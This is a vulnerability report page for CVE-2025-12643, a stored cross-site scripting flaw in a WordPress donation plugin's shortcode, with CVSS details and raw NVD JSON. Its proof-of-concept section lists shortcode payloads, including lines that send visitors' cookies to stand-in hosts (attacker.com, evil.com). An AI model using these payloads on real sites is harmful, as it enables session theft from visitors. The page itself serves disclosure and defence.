Security Vulnerability Report
中文
CVE-2025-12643 CVSS 6.4 MEDIUM

CVE-2025-12643

Published: 2025-11-08 10:15:42
Last Modified: 2026-04-15 00:35:42

Description

The Saphali LiqPay for donate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saphali_liqpay' shortcode in all versions up to, and including, 1.0.2. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Saphali LiqPay for donate ≤ 1.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress管理员或贡献者可在文章/页面中插入以下短代码触发XSS --> [saphali_liqpay amount='"><script>alert(document.cookie)</script>'] <!-- 绕过引号过滤的变体 --> [saphali_liqpay amount='123' onerror='alert(1)'] <!-- 利用事件处理器 --> [saphali_liqpay amount='1' onload='fetch("https://attacker.com/steal?c="+document.cookie)'] <!-- 完整的恶意脚本示例 --> [saphali_liqpay amount='"><img src=x onerror='var img=new Image();img.src="https://evil.com/log?c="+btoa(document.cookie);'>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12643", "sourceIdentifier": "[email protected]", "published": "2025-11-08T10:15:41.637", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Saphali LiqPay for donate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saphali_liqpay' shortcode in all versions up to, and including, 1.0.2. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/saphali-liqpay-for-donate/tags/1.0.2/liqpay-d.php#L102", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3391235/saphali-liqpay-for-donate/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/63d73de6-56ac-41ab-a673-4e379eeed26c?source=cve", "source": "[email protected]"}]}}